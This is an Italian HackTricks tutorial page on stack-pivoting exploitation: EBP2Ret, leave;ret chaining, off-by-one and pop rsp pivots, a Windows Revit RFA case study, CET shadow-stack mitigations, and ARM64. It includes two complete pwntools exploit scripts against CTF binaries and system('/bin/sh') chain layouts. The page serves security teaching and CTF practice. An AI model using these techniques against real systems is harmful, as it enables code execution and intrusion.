Stack Pivoting - EBP2Ret - EBP chaining
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Questa tecnica sfrutta la capacitĂ di manipolare il Base Pointer (EBP/RBP) per concatenare lâesecuzione di piĂš funzioni attraverso lâuso attento del frame pointer e della sequenza di istruzioni leave; ret.
Come promemoria, su x86/x86-64 leave è equivalente a:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
E poichĂŠ il EBP/RBP salvato è nello stack prima dellâEIP/RIP salvato, è possibile controllarlo manipolando lo stack.
Notes
- Su 64-bit, sostituire EBPâRBP e ESPâRSP. La semantica è la stessa.
- Alcuni compilatori omettono il frame pointer (vedi âEBP might not be usedâ). In tal caso,
leavepotrebbe non comparire e questa tecnica non funzionerĂ .
EBP2Ret
Questa tecnica è particolarmente utile quando puoi alterare lâEBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP. Sfrutta il comportamento dellâepilogo della funzione.
Se, durante lâesecuzione di fvuln, riesci a iniettare un fake EBP nello stack che punti a unâarea di memoria dove si trova lâindirizzo del tuo shellcode/ROP chain (piĂš 8 byte su amd64 / 4 byte su x86 per compensare il pop), puoi controllare indirettamente RIP. Quando la funzione ritorna, leave imposta RSP alla location costruita e il successivo pop rbp decrementa RSP, facendolo effettivamente puntare a un indirizzo lĂŹ memorizzato dallâattaccante. Poi ret userĂ quellâindirizzo.
Nota che hai bisogno di conoscere 2 indirizzi: lâindirizzo dove ESP/RSP andrĂ , e il valore memorizzato a quellâindirizzo che ret consumerĂ .
Exploit Construction
Per prima cosa devi conoscere un indirizzo dove puoi scrivere dati/indirizzi arbitrari. RSP punterĂ qui e consumerĂ il primo ret.
Poi devi scegliere lâindirizzo usato da ret che trasferirĂ lâesecuzione. Potresti usare:
- Un indirizzo valido ONE_GADGET.
- Lâindirizzo di
system()seguito dal return e dagli argomenti appropriati (su x86:rettarget =&system, poi 4 byte di junk, poi&"/bin/sh"). - Lâindirizzo di un gadget
jmp esp;(ret2esp) seguito da shellcode inline. - Una catena ROP disposta in memoria scrivibile.
Ricorda che prima di ciascuno di questi indirizzi nellâarea controllata, deve esserci spazio per il pop ebp/rbp derivante dal leave (8B su amd64, 4B su x86). Puoi sfruttare questi byte per impostare un secondo fake EBP e mantenere il controllo dopo il ritorno della prima chiamata.
Off-By-One Exploit
Esiste una variante usata quando puoi modificare solo il byte meno significativo dellâEBP/RBP salvato. In tal caso, la location di memoria che memorizza lâindirizzo verso cui saltare con ret deve condividere i primi tre/cinque byte con lâEBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarlo. Di solito il byte basso (offset 0x00) viene incrementato per saltare il piĂš lontano possibile allâinterno di una pagina/regione allineata vicina.
Ă anche comune usare un RET sled nello stack e mettere la vera catena ROP alla fine, per aumentare la probabilitĂ che il nuovo RSP punti allâinterno del sled e che la catena ROP finale venga eseguita.
EBP Chaining
Posizionando un indirizzo controllato nello slot EBP salvato dello stack e un gadget leave; ret in EIP/RIP, è possibile spostare ESP/RSP verso un indirizzo controllato dallâattaccante.
Ora RSP è controllato e lâistruzione successiva è ret. Metti nella memoria controllata qualcosa del tipo:
&(next fake EBP)-> Caricato dapop ebp/rbpderivante daleave.&system()-> Chiamato daret.&(leave;ret)-> Dopo chesystemtermina, sposta RSP verso il prossimo fake EBP e continua.&("/bin/sh")-> Argomento persystem.
In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
Ă simile a un ret2lib, ma piĂš complesso e utile solo nei casi limite.
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. Questo è il payload finale dalla pagina:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI richiede un allineamento dello stack a 16 byte nei punti di call. Se la tua chain chiama funzioni come
system, aggiungi un alignment gadget (es.,ret, osub rsp, 8 ; ret) prima della call per mantenere lâallineamento ed evitare crash dovuti amovaps.
EBP potrebbe non essere usato
Come spiegato in questo post, se un binario è compilato con alcune ottimizzazioni o con omissione del frame-pointer, il EBP/RBP non controlla mai ESP/RSP. Pertanto, qualsiasi exploit che funzioni controllando EBP/RBP fallirà perchÊ il prologo/epilogo non ripristina dal frame pointer.
- Non ottimizzato / frame pointer usato:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Ottimizzato / frame pointer omitted:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Su amd64 vedrai spesso pop rbp ; ret invece di leave ; ret, ma se il frame pointer è del tutto omesso non esiste un epilogo basato su rbp attraverso cui effettuare il pivot.
Altri modi per controllare RSP
pop rsp gadget
In this page puoi trovare un esempio che utilizza questa tecnica. Per quel challenge era necessario chiamare una funzione con 2 argomenti specifici, e câera un pop rsp gadget e câera una leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Consulta la tecnica ret2esp qui:
Trovare rapidamente gadget per il pivot
Usa il tuo gadget finder preferito per cercare le primitive classiche per il pivot:
leave ; retnelle funzioni o nelle libreriepop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oadd esp, <imm> ; retsu x86)
Esempi:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Pattern classico di pivot staging
Una strategia di pivot robusta usata in molti CTF/exploit:
- Usa un piccolo overflow iniziale per chiamare
read/recvin una grande regione scrivibile (es.,.bss, heap, o memoria mappata RW) e piazzarvi una catena ROP completa. - Ritornare in un pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) per spostare RSP in quella regione. - Continuare con la catena a stadi (es., leak libc, chiamare
mprotect, poireaddello shellcode, poi saltare su di esso).
Windows: Destructor-loop weird-machine pivots (studio del caso Revit RFA)
I parser client-side a volte implementano destructor loop che chiamano indirettamente un puntatore a funzione derivato da campi dellâoggetto controllati dallâattaccante. Se ogni iterazione offre esattamente una chiamata indiretta (una âone-gadgetâ machine), puoi convertire questo in un pivot dello stack affidabile e in un punto dâingresso ROP.
Osservato nella deserializzazione di Autodesk Revit RFA (CVE-2025-5037):
- Oggetti creati di tipo
AStringpongono un puntatore ai byte controllati dallâattaccante allâoffset 0. - Il destructor loop esegue effettivamente un gadget per oggetto:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Two practical pivots:
- Windows 10 (32-bit heap addrs): misaligned âmonster gadgetâ that contains
8B E0âmov esp, eax, eventuallyret, to pivot from the call primitive to a heap-based ROP chain. - Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(move original rax into rbp) - Gadget 2:
leave ; ... ; ret(becomesmov rsp, rbp ; pop rbp ; ret), pivoting into the first objectâs buffer, where a conventional ROP chain follows.
Tips for Windows x64 after the pivot:
- Respect the 0x20-byte shadow space and maintain 16-byte alignment before
callsites. Itâs often convenient to place literals above the return address and use a gadget likelea rcx, [rsp+0x20] ; call raxfollowed bypop rax ; retto pass stack addresses without corrupting control flow. - Non-ASLR helper modules (if present) provide stable gadget pools and imports such as
LoadLibraryW/GetProcAddressto dynamically resolve targets likeucrtbase!system. - Creating missing gadgets via a writable thunk: if a promising sequence ends in a
callthrough a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step likepop rax ; ret. The sequence then behaves like it ended withret(e.g.,mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.
For full chain construction and gadget examples, see the reference below.
Mitigazioni moderne che interrompono stack pivoting (CET/Shadow Stack)
Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.
- For background and deeper details see:
- Verifiche rapide su Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Appunti per lab/CTF:
-
Alcune distro moderne abilitano SHSTK per i binari CET-enabled quando hardware e glibc lo supportano. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di boot del kernel
nousershstk, oppure abilitato selettivamente tramite i tunable di glibc durante lâavvio (vedi riferimenti). Non disabilitare le mitigazioni su target di produzione. -
Tecniche basate su JOP/COOP o SROP potrebbero essere ancora utilizzabili su alcuni target, ma SHSTK in particolare rompe i pivot basati su
ret. -
Nota Windows: Windows 10+ espone la protezione lato user-mode e Windows 11 aggiunge la âHardware-enforced Stack Protectionâ in kernel-mode basata su shadow stacks. I processi compatibili con CET impediscono lo stack pivoting/ROP al
ret; gli sviluppatori si abilitano tramite CETCOMPAT e policy correlate (vedi riferimento).
ARM64
In ARM64, il prologo e gli epiloghi delle funzioni non salvano nĂŠ ripristinano il registro SP nello stack. Inoltre, lâistruzione RET non ritorna allâindirizzo puntato da SP, ma allâindirizzo contenuto in x30.
Quindi, di default, abusando semplicemente dellâepilogo non si potrĂ controllare il registro SP sovrascrivendo alcuni dati nello stack. E anche se si riesce a controllare lo SP, sarĂ comunque necessario un modo per controllare il registro x30.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
Il modo per eseguire qualcosa di simile allo stack pivoting in ARM64 sarebbe poter controllare lo
SP(controllando un registro il cui valore viene assegnato aSPo perchĂŠ per qualche motivo loSPprende il suo indirizzo dallo stack e abbiamo un overflow) e poi abusare dellâepilogo per caricare il registrox30da unoSPcontrollato e fareRETsu di esso.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Il programma fornisce un leak per stack o pie e una WWW di un qword. Prima ottieni il leak dello stack e usi la WWW per tornare e ottenere il leak del pie. Poi usi la WWW per creare un loop âeternaâ abusando delle entry di
.fini_array+ chiamando__libc_csu_fini(more info here). Abusando di questa scrittura âeternaâ, viene scritto una ROP chain in .bss e si finisce per chiamarla pivotando con RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack â dettagli su SHSTK,
nousershstk, flag in/proc/$PID/status, e abilitazione tramitearch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

